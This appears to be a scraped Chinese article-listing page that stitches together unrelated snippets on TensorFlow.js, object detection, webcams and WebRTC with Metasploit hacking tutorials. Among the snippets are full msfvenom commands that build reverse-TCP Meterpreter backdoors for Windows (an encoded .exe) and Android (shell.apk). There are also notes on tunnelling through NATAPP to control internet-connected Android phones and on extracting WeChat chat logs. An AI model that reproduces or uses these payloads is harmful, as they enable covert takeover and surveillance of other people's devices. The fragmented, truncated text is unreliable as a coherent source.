在前面的章节，我们讨论了各种JavaScript概念和运行在浏览器上的各种深度学习框架。在本章中，我们将所有的知识付诸于实践，证明该技术的潜力。
今天，一个名为 Real-Time-Person-Removal（实时人物去除）项目在 GitHub 上火了，登上近日 GitHub Trending 第一，目前已经获得 1.8k star。
TensorFlow 的 JS 版本终于出啦，deeplearn.js 正式收编至 TensorFlow 项目，并改名为 TensorFlow.js ： 采用 WebGL 加速的基于浏览器的 JS 机器学习库。 摘要： 本文涉及 TensorFlow 基本概念的理解，迁移学习技术的实践应用，全文从技术聊到产品的玩法，设计师／产品经理只有懂得技术的新特性，才能为产品融入新的玩法。设计师也应该关注新技术带来的新的交互方式的变化，研究怎么样的交互方式才适合基于浏览器的深度学习应用。 阅读本文需要有 tensorf
TensorFlow 的 JS 版本终于出啦，deeplearn.js 正式收编至 TensorFlow 项目，并改名为 TensorFlow.js ：
上一篇文章：编译WebAssembly版本的FFmpeg（ffmpeg.wasm）：（4）ffmpeg.wasm v0.2 - 添加Libx264
选自Medium 作者：Mike Shi 机器之心编译 参与：Pedro、刘晓坤 Tensorflow.js 是一个能在你的浏览器里运行的全新深度学习库。本文将会介绍从原生 Tiny YOLO Darknet 模型到 Keras 的转换，再到 Tensorflow.js 的转换，如何利用其作一些预测，在编写 Tensorflow.js 遇到的一些问题，以及介绍使用联网摄像头/图像轻松地进行预测检测。 项目地址：https://github.com/ModelDepot/tfjs-yolo-tiny YOL
TensorFlow.js 是谷歌在 2018 TensorFlow 开发者峰会推出的开源库，它可以使用 Java 和灵活且直观的 API 在浏览器中定义、训练和运行机器学习模型。另外，TensorFlow.js 可以导入离线训练的 TensorFlow 和 Keras 模型进行预测，并可以对 WebGL 实现无缝支持。
NDI是目前强大的IP化视频传输技术，它不仅被广泛运用在广电行业，医疗示教，网络直播，更是被各类视频会议系统、直播系统接受吸纳，我们只需要通过一个NDI Webcam Input工具，就可将NDI视频源指派为任何支持网络摄像头的程序输入，轻松摆脱传统SDI/HDMI线缆。
使用WebRTC构建获取视频、从 webcam获取快照，端与端共享应用。通过这种方法，我们来学习如何使用核心 WebRTC API ，并通过 Node.js建立一个消息服务器。
在你的浏览器中打开 index.html，你将看到像下面这样子（当然是你的 webcam 中样子）：
Kali linux的安卓木马一般只能在内网操作，要想在监控互联网的安卓手机，必须要使用内网穿透，工具有很多，我使用的是NATAPP。思路如下：
通过Github查找作者TommyZihao，在其aidlux_tutorial工程下找到“用手机摄像头玩转OpenCV”这个项目，并以压缩包的形式下载下来。
从其 model zoo 选择一个感兴趣的模型进行推断。这里以 COCO R50-FPN 3x 训练的各类模型进行演示。
进入https://natapp.cn/ 注册并创建tcp隧道 复制authtoken 下载客户端
这个是安装的脚本，简单分析一下。就是用curl这个命令行软件下载一个脚本文件，把这个文件下载以后放到以下目录，这个过程中开启静默模式，不输出任何东西。
操作过程概况：利用msf生成一个后台木马，使用exploit/multi/handler模块，通过对方打开的形式获取权限，可以进入后渗透对目标进行监听等操作。
笔者之前做一个实时监控应用的时候，曾搜索过一些将 iPhone 的摄像头拍摄的画面实时传输到浏览器的方案，一个都没有。
迁移学习是将预训练模型与自定义训练数据相结合的能力。 这意味着你可以利用模型的功能并添加自己的样本，而无需从头开始创建所有内容。
configs/apis/pose_estimator.cascade_rcnn+hrnet.yaml:
上面的包源已经发生变化 可前往https://fivecc.coding.net/public/mjpg-streamer/mjpg-streamer/git 查看，
你用旧的Android手机或平板电脑做什么？该问题通常会提示三个陈旧的答案。您可以将它们换来新的购买。或者您可以在eBay上转售它们。不过，可能您只是将它们装在抽屉中作为紧急备份。
选择网关 add to target 1 选择目标 add to target 2
在这篇文章中我们将讨论如何获取安卓、苹果设备中的微信聊天记录，并演示如何利用后门通过Metasploit对安卓设备进行控制。文章比较基础、可动手性强，有设备的童鞋不妨边阅读文章边操作，希望能激发大家对移动终端的安全兴趣。 “如何获取Android、iPhone手机上的微信聊天记录？ ” 0×00 条件： 安卓设备已获取root权限，安装SSHDroid(通过ssh、ftp连接手机) Apple设备越狱，安装OpenSSH插件 0×01 安卓： 很多安卓手机的用户都会遇到这么一个尴尬的问题:手机用久了就不知
链接：https://distill.pub/2018/differentiable-parameterizations/#section-aligned-interpolation
就是我们穿透去公网并且公网穿透连接本地Ip---->监听本地IP ---->目标点击.exe--->
将面已经学习了如何使用RTCDataChannel 交换广本数据。 这步将用它来共享整个文件。在这个例子中通过 getUserMedia()捕获照片。
这是一个面向工程应用的库，在部署方面，提供了Python\C++\Android示例，另外支持用户在自定义数据集上仅需几行命令训练自己的模型，可谓良心之作！
对于 MMPose 我是慕名已久，一直以来跟不少做 Pose 的大佬交流时也常常提起，说同样的模型用 MMPose 跑出来点数会高不少，然而 MM 系列的封装逻辑和学习门槛让我一再搁置，终于最近才下定决心要把它啃下来。
首先Termux，你可以把它当做是一个Android终端模拟器和Linux环境应用程序，安装可直接使用，无需root或设置。自动安装最小基本系统 – 使用APT包管理器可以使用其他软件包。
上个周末，面向JavaScript开发者的TensorFlow.js在TF开发者峰会上发布。
一.Metasploit简介： Metasploit就是一个漏洞框架。它的全称叫做The Metasploit Framework，简称MSF。是一个免费、可下载的框架，通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数2000多个已知软件漏洞的专业级漏洞攻击工具。
前几日YOLO-tiny （上达最高精度，下到最快速度，Scaled-YOLOv4：模型缩放显神威）的出现给移动端开发的朋友一个新选择，昨天Github又新上一不得不关注的项目NanoDet，目标检测模型文件仅 1.8 MB，在手机上实时检测速度可达 97fps！
生成windows后门 1.首先生成后门 [root@localhost ~]# msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 lhost=192.168.1.1 lport=6666 -f exe > ./lyshark.exe 2.进入Metasploit，执行以下操作 3.将我们的(lyshark.exe)拷贝到目标主机并运行 4.攻陷后常用查询命令 ps #查看进程 migrate
前不久有伙伴在Q群中询问用matlab调用网络摄像头的事，其实咱很久之前就分享过，由于看的人太少了就给删了。今天重新整理分享出来，本文的主角就是IP Webcam，通过它就可以轻松将智能手机转变成网络摄像头，这也是为啥将标题取为“matlab让我的旧手机起死回生”的原因。如果手中有闲置旧手机，安上IP Webcam，打开手机无线热点(无需使用数据流量和WiFi就能用，仅打开热点)，旧手机里面变成一个全能监控王。接下来就一起来看看怎么操作的吧！
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.74.129 LPORT=4444 R > /root/桌面/shell.apk
作为一个对UI和动画敏感的切图仔，在日常开发之余，也会关注一些贼好看的图表库和插件。
项目地址：https://github.com/facebookresearch/maskrcnn-benchmark
迁移学习是将预训练模型与自定义训练数据相结合的能力。这意味着你可以利用模型的功能并添加自己的样本，而无需从头开始创建所有内容。
1.安装 MMPose。如果你已经是 MMPose 的用户，只需要拉取最新的 master 分支到本地即可。
这几天正值北京冬奥会，吉祥物冰墩墩成为了家喻户晓的“明星”。赛场上、领奖台上、热搜榜上都少不了它的身影。看着电视中的冰墩墩，家里的猫崽蛋黄不禁陷入沉思：这就是传说中的大明星么，也太拉风了，慕了慕了……
在接下来的几篇博文中，作者将带领大家训练一个「计算机视觉+深度学习」的模型来执行人脸识别任务。但是，要想训练出能够识别图像或视频流中人脸的模型，我们首先得收集人脸图像的数据集。
在昨天的推送《一文带你众览Google I/O 2019上的人工智能主题演讲》中，回顾了Google I/0 2019大会上的TensorFlow专题演讲，不知道朋友有没有注意到在TensorFlow.js介绍部分，重点提到了TensorFlow.js开始支持微信小程序。今天我将这部分的视频截取出来，请大家观看：
本文分享利用yolov4+deepsort实现目标跟踪，主要是讲解如何使用，具体原理可以根据文中的参考资料更加深入学习。目前主流的趋势是将算法更加易用，让更多人感受到视觉的魅力，也能让更多有意向从事这个领域的人才进入。但受限于某些客观的限制，比如github下载容易失败，谷歌网盘无法下载等，让部分人不得不退却。
Metasploit Framework(MSF)是一款开源安全漏洞检测工具，附带数千个已知的软件漏洞，并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程，被安全社区冠以“可以黑掉整个宇宙”之名。刚开始的Metasploit是采用Perl语言编写的，但是再后来的新版中，改成了用Ruby语言编写的了。在kali中，自带了Metasploit工具。我们接下来以大名鼎鼎的永恒之蓝MS17_010漏洞为切入点，讲解MSF框架的使用。
上个学期用 JavaScript 写了一些好玩的网站，但开始用 React 或其他框架的时候，总觉得有点不踏实，应该要对原生的 JavaScript（或称 Vanilla JS【http://vanilla-js.com/】）下更多功夫才行。而也刚好看到 JS30 这个挑战，就决定回过头来练习用纯粹的 JS 写网页，顺便学习别人的代码。
YOLO、SSD、Fast R-CNN等模型在目标检测方面速度较快和精度较高，但是这些模型比较大，不太适合移植到移动端或嵌入式设备；轻量级模型 NanoDet-m，对单阶段检测模型三大模块（Head、Neck、Backbone）进行轻量化，目标加检测速度很快；模型文件大小仅几兆（小于4M）。
TensorFlow.js是一个基于deeplearn.js构建的强大而灵活的Javascript机器学习库，它可直接在浏览器上创建深度学习模块。使用它可以在浏览器上创建CNN(卷积神经网络)、RNN(循环神经网络)等等，且可以使用终端的GPU处理能力训练这些模型。接下来我们将学习如何建立一个简单的“可学习机器”——基于 TensorFlow.js 的迁移学习图像分类器。
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
对象存储
实时音视频
即时通信 IM
